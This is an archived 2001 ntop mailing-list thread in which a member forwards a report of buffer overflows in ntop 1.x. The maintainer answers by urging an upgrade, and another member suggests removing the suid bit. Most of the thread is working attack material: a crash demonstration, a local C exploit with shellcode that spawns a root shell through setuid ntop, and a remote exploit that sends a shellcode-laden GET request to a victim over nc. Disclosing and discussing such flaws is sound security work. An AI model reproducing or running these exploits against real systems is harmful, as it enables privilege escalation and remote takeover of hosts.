>From text: P.S. For preventing such an attack you can do: 1. chmod ug-s path/to/ntop) 2. Install NTOP without root suid bit: rpm -Uvh ntop-1.1-5.i386.rpm
Thursday, October 11, 2001, 10:23:06 AM, you wrote: LD> Alexei, LD> please move to ntop 2. LD> Thanks, Luca LD> ----- Original Message ----- LD> From: <[EMAIL PROTECTED]> LD> To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; LD> <[EMAIL PROTECTED]> LD> Sent: Thursday, October 11, 2001 9:31 AM LD> Subject: [Ntop] ntop hack:(((((((((((((( >> Hi, >> Look at that!!! >> >> Source >> LD> http://www.webdoc.ru/text.phtml?level=2&id=98&script_id=237&url=texts/201-30 LD> 0/237.html >> >> (in russian, use online translator on altavista.com) >> >> tshaw:/home/cb/ntop-1.3.2$ ./ntop -i `perl -e 'print "A"x2835'` >> >> 24/Oct/2000:12:32:16 ntop v.1.3.2 MT [i686-pc-linux-gnu] (08/11/00 >> 07:04:32 PM build) >> 24/Oct/2000:12:32:16 Listening on >> [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] >> 24/Oct/2000:12:32:16 Copyright 1998-2000 by Luca Deri <[EMAIL PROTECTED]> >> 24/Oct/2000:12:32:16 Get the freshest ntop from http://www.ntop.org/ >> 24/Oct/2000:12:32:16 Initialising... >> Segmentation fault >> tshaw:/home/cb/ntop-1.3.2$ >> >> >> EXPLOIT >> ======== >> >> #include <stdlib.h> >> #include <string.h> >> #include <stdio.h> >> >> #define LEN 208 >> >> int main (int argc, char **argv) >> { >> char buf[LEN + 12]; >> intret = 0xbffffba0; >> int*p; >> >> char code[]= >> "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80" >> "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80" >> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" >> "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" >> >> "\x80\xe8\xdc\xff\xff\xff/bin/sh"; >> >> if (argc > 1) { >> ret += atoi(argv[1]); >> >> fprintf(stderr, "Using ret %#010x\n", ret); >> } >> >> memset(buf, '\x90', LEN); >> memcpy(buf + LEN - strlen(code), code, strlen(code)); >> >> p = (int *) (buf + LEN); >> >> *p++ = ret; >> *p++ = ret; >> *p = 0; >> >> execl("./ntop", "ntop", "-i", buf, NULL); >> >> } >> >> >> REMOTE EXPLOIT >> ================= >> >> #include <stdio.h> >> #include <string.h> >> >> >> char shellcode[] = >> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" >> "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" >> "\x80\xe8\xdc\xff\xff\xff/bin/sh"; >> >> void usage() >> { >> printf("NTOP ntop-1.2a1 -w mode command execution exploit.\n"); >> printf(" [EMAIL PROTECTED]\n"); >> printf("Usage : ./ntop-w-exp | nc victim port\n"); >> exit(0); >> } >> >> void main( int argc, char *argv[] ) >> { >> int i,offset=-24; >> #define CODE_LEN 240 >> #define NOP_LEN 50 >> char code_buf[CODE_LEN]; >> unsigned long esp=0xbedffb00; >> >> if(argc >= 2) offset = atoi(argv[1]); >> >> memset(code_buf,0x90,NOP_LEN); //insert NOP CODES >> memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode)); >> for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4) >> *(long *)&code_buf[i]=(unsigned long)esp-offset; >> >> printf("GET /"); >> for(i=0;i<CODE_LEN; i++) >> { >> putchar(code_buf[i]); >> } >> printf("\r\n\r\n"); >> } >> >> >> >> Mit freundlichen Gr��en >> >> Alexei Voronine >> >> dvg Hannover >> OE352 UNIX Server Control Center (USCC) >> e-Mail [EMAIL PROTECTED] >> Tel: 0511-5102-3703 >> >> >> _______________________________________________ >> Ntop mailing list >> [EMAIL PROTECTED] >> http://listmanager.unipi.it/mailman/listinfo/ntop >> LD> _______________________________________________ LD> Ntop mailing list LD> [EMAIL PROTECTED] LD> http://listmanager.unipi.it/mailman/listinfo/ntop -- Dim Segebart mailto:[EMAIL PROTECTED] _______________________________________________ Ntop mailing list [EMAIL PROTECTED] http://listmanager.unipi.it/mailman/listinfo/ntop
